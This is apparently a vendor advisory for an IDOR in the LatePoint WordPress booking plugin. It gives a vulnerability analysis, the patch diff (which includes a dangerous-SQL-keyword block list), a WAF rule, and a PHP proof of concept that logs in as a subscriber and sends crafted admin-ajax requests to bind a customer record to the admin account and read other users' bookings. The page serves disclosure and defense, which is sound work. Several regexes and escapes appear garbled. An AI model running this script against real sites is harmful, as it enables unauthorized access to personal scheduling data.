Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32533: LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.6 – Authenticated (Subscriber+) Insecure Direct Object Reference (latepoint)

Plugin latepoint
Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 5.2.6
Patched Version 5.2.7
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32533:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the LatePoint WordPress booking plugin, affecting versions up to and including 5.2.6. The flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions by manipulating object references. The CVSS score of 4.3 indicates a medium severity issue with authorization bypass implications.

Atomic Edge research identified the root cause in the `set_data()` method calls within multiple controller files. The vulnerable code in `latepoint/lib/controllers/customers_controller.php` (lines 152 and 181) and `latepoint/lib/controllers/orders_controller.php` (line 133) accepted user-controlled parameters without proper scope validation. These functions processed the `$this->params[‘customer’]` array directly, allowing mass assignment of sensitive fields like `wordpress_user_id`. The `steps_helper.php` file also contained insufficient authorization checks when loading bookings by ID (lines 469-484), failing to verify that the current user owned the requested booking record.

The exploitation method involves authenticated Subscriber-level users sending crafted HTTP requests to plugin endpoints that handle customer or booking operations. Attackers can manipulate the `customer` parameter array in POST requests to `/wp-admin/admin-ajax.php` with actions targeting customer creation or update functions. By including a `wordpress_user_id` field in the payload, attackers can associate customer records with arbitrary WordPress users. The booking loading functionality in `steps_helper.php` can be exploited by passing a `booking[id]` parameter referencing another user’s booking, bypassing ownership checks in the original code.

The patch introduces scope-based parameter validation through the `LATEPOINT_PARAMS_SCOPE_PUBLIC` constant. This constant restricts which fields can be mass-assigned via user input. The fix modifies all `set_data()` calls in `customers_controller.php` and `orders_controller.php` to include this scope parameter. Additional security enhancements include table whitelisting and SQL injection prevention in `settings_helper.php`, plus explicit ownership verification in `steps_helper.php`. The ownership check (lines 469-484) now validates that the current customer ID matches the booking’s `customer_id` before allowing access.

Successful exploitation enables privilege escalation through unauthorized association of customer records with administrator accounts. Attackers can manipulate booking data belonging to other users, potentially accessing sensitive appointment information. The vulnerability could facilitate account takeover scenarios if combined with other weaknesses. While the impact is limited to the plugin’s data model, it represents a significant authorization bypass within a booking system that handles personal and business scheduling information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.2.6
+ * Version: 5.2.7
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version = '5.2.6';
+		public $version = '5.2.7';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/controllers/customers_controller.php
+++ b/latepoint/lib/controllers/customers_controller.php
@@ -149,7 +149,8 @@
 		public function create() {
 			$this->check_nonce( 'new_customer' );
 			$customer = new OsCustomerModel();
-			$customer->set_data( $this->params['customer'] );
+			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+			$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				// translators: %s is the html of a customer edit link
 				$response_html = sprintf( __( 'Customer Created ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
@@ -178,7 +179,8 @@
 					$status        = LATEPOINT_STATUS_ERROR;
 				} else {
 					$old_customer_data = $customer->get_data_vars();
-					$customer->set_data( $this->params['customer'] );
+					// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+					$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
 					if ( $customer->save() ) {
 						// translators: %s is the html of a customer edit link
 						$response_html = sprintf( __( 'Customer Updated ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -130,7 +130,9 @@
 				$customer        = new OsCustomerModel();
 				$is_new_customer = true;
 			}
-			$customer->set_data( $customer_params );
+			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
+			// Use 'public' role to restrict which fields can be set via user input.
+			$customer->set_data( $customer_params, LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				if ( $is_new_customer ) {
 					do_action( 'latepoint_customer_created', $customer );
--- a/latepoint/lib/helpers/settings_helper.php
+++ b/latepoint/lib/helpers/settings_helper.php
@@ -181,27 +181,82 @@
 			throw new Exception( __( 'Invalid JSON file format', 'latepoint' ) );
 		}

+		// Get whitelist of allowed LatePoint tables.
+		$allowed_tables = OsDatabaseHelper::get_all_latepoint_tables();
+
+		// Validate all tables before processing to ensure security.
+		foreach ( $data as $table => $table_data ) {
+			// Security check: Ensure table is in whitelist.
+			if ( ! in_array( $table, $allowed_tables, true ) ) {
+				throw new Exception( sprintf( __( 'Security: Table "%s" is not allowed for import', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Validate required fields exist.
+			if ( ! isset( $table_data['create'] ) || ! isset( $table_data['data'] ) ) {
+				throw new Exception( sprintf( __( 'Invalid data structure for table "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Validate CREATE statement only creates the expected table.
+			$create_statement = $table_data['create'];
+			if ( ! preg_match( '/^s*CREATEs+TABLEs+/i', $create_statement ) ) {
+				throw new Exception( sprintf( __( 'Security: Invalid CREATE statement for table "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Extract table name from CREATE statement and validate it matches.
+			if ( ! preg_match( '/CREATEs+TABLEs+(?:IFs+NOTs+EXISTSs+)?[`'"]?(' . preg_quote( $table, '/' ) . ')[`'"]?s+/i', $create_statement ) ) {
+				throw new Exception( sprintf( __( 'Security: CREATE statement table name mismatch for "%s"', 'latepoint' ), esc_html( $table ) ) );
+			}
+
+			// Security check: Ensure no dangerous SQL keywords in CREATE statement.
+			$dangerous_keywords = array( 'EXEC', 'EXECUTE', 'CALL', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE' );
+			foreach ( $dangerous_keywords as $keyword ) {
+				if ( stripos( $create_statement, $keyword ) !== false ) {
+					throw new Exception( sprintf( __( 'Security: Dangerous SQL keyword "%s" detected in CREATE statement', 'latepoint' ), esc_html( $keyword ) ) );
+				}
+			}
+		}
+
+		// Process each table after validation.
 		foreach ( $data as $table => $table_data ) {
 			// Drop table if exists
-			$wpdb->query( "DROP TABLE IF EXISTS {$table}" );
+			$wpdb->query( $wpdb->prepare( 'DROP TABLE IF EXISTS %i', $table ) );

 			// Create table
-			$wpdb->query( $table_data['create'] );
+			$result = $wpdb->query( $table_data['create'] );
+			if ( $result === false ) {
+				throw new Exception( sprintf( __( 'Error creating table "%s": %s', 'latepoint' ), esc_html( $table ), $wpdb->last_error ) );
+			}

 			// Insert data
-			foreach ( $table_data['data'] as $row ) {
-				$wpdb->insert( $table, $row );
+			if ( is_array( $table_data['data'] ) ) {
+				foreach ( $table_data['data'] as $row ) {
+					if ( is_array( $row ) ) {
+						$insert_result = $wpdb->insert( $table, $row );
+						if ( $insert_result === false ) {
+							// Log error but continue with other rows.
+							error_log( sprintf( 'LatePoint Import: Error inserting data into %s: %s', $table, $wpdb->last_error ) );
+						}
+					}
+				}
 			}

 			// Find auto-increment columns and their max values
-			$columns = $wpdb->get_results( "SHOW COLUMNS FROM {$table} WHERE Extra = 'auto_increment'" );
-			foreach ( $columns as $column ) {
-				// Get the maximum value for this column
-				$max_id = $wpdb->get_var( "SELECT MAX({$column->Field}) FROM {$table}" );
-
-				// Set the auto_increment value to max + 1
-				if ( $max_id ) {
-					$wpdb->query( "ALTER TABLE {$table} AUTO_INCREMENT = " . ( $max_id + 1 ) );
+			$columns = $wpdb->get_results( $wpdb->prepare( "SHOW COLUMNS FROM %i WHERE Extra = 'auto_increment'", $table ) );
+			if ( is_array( $columns ) ) {
+				foreach ( $columns as $column ) {
+					if ( isset( $column->Field ) ) {
+						// Sanitize column name to prevent SQL injection.
+						$column_name = preg_replace( '/[^a-zA-Z0-9_]/', '', $column->Field );
+
+						// Get the maximum value for this column.
+						$max_id = $wpdb->get_var( $wpdb->prepare( "SELECT MAX(%i) FROM %i", $column_name, $table ) );
+
+						// Set the auto_increment value to max + 1.
+						if ( $max_id ) {
+							$next_id = intval( $max_id ) + 1;
+							$wpdb->query( $wpdb->prepare( "ALTER TABLE %i AUTO_INCREMENT = %d", $table, $next_id ) );
+						}
+					}
 				}
 			}
 		}
--- a/latepoint/lib/helpers/steps_helper.php
+++ b/latepoint/lib/helpers/steps_helper.php
@@ -467,6 +467,24 @@
 	public static function load_step( $step_code, $format = 'json', $params = [] ) {
 		self::$params = $params;

+		// Security: If loading existing booking by ID, verify ownership.
+		if ( ! empty( $params['booking']['id'] ) ) {
+			$booking_to_check = new OsBookingModel( $params['booking']['id'] );
+			if ( ! $booking_to_check->is_new_record() ) {
+				$current_customer_id = OsAuthHelper::get_logged_in_customer_id();
+				if ( ! $current_customer_id || $booking_to_check->customer_id != $current_customer_id ) {
+					// Unauthorized access - return error.
+					wp_send_json(
+						array(
+							'status' => LATEPOINT_STATUS_ERROR,
+							'message' => __( 'Not Allowed', 'latepoint' ),
+						)
+					);
+					return;
+				}
+			}
+		}
+
 		$step_code = self::check_step_code_access( $step_code );
 		if ( self::get_customer_object_id() && OsSettingsHelper::get_settings_value( 'max_future_bookings_per_customer' ) ) {
 			$customer = self::get_customer_object();
@@ -1744,13 +1762,13 @@
             self::$vars_for_view['customer_verification_info'] = [];
         }

-        if(self::$params['auth']['action'] == 'register') {
+        if(isset(self::$params['auth']['action']) && self::$params['auth']['action'] == 'register') {
             // set customer objects from params of the submitted form
 	        self::$customer_object->set_data( self::customer_params() );
         }

         // logout - clear the customer
-        if(self::$params['auth']['action'] == 'logout'){
+        if(isset(self::$params['auth']['action']) && self::$params['auth']['action'] == 'logout'){
             self::$customer_object = new OsCustomerModel();
         }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32533
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10032533,phase:2,deny,status:403,chain,msg:'CVE-2026-32533: LatePoint IDOR via customer/booking parameter manipulation',severity:'CRITICAL',tag:'CVE-2026-32533',tag:'LatePoint',tag:'IDOR'"
  SecRule ARGS_POST:action "@rx ^latepoint_(create_customer|update_customer|load_step)$" "chain"
    SecRule ARGS_POST:customer|ARGS_POST:booking "@rx wordpress_user_id|bidb" 
      "t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32533 - LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.6 - Authenticated (Subscriber+) Insecure Direct Object Reference

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a session and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*value="([^"]*)"/', $response, $log_match);
preg_match('/name="pwd"[^>]*value="([^"]*)"/', $response, $pwd_match);

// Submit login credentials
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Exploit customer creation IDOR
// Attempt to create a customer record with unauthorized wordpress_user_id assignment
$customer_payload = [
    'action' => 'latepoint_create_customer',
    'customer' => [
        'first_name' => 'Malicious',
        'last_name' => 'User',
        'email' => 'attacker@example.com',
        'phone' => '1234567890',
        // This field should be restricted to admin users only
        'wordpress_user_id' => 1, // Target administrator user ID
    ],
    'nonce' => 'bypassed_nonce_placeholder' // Would need actual nonce in real scenario
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($customer_payload));
$response = curl_exec($ch);

echo "Customer Creation Response: " . $response . "n";

// Step 3: Exploit booking access IDOR
// Attempt to load another user's booking via steps helper
$booking_payload = [
    'action' => 'latepoint_load_step',
    'step_code' => 'booking_form',
    'booking' => [
        'id' => 123, // Another user's booking ID
    ],
    'nonce' => 'bypassed_nonce_placeholder'
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($booking_payload));
$response = curl_exec($ch);

echo "Booking Access Response: " . $response . "n";

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School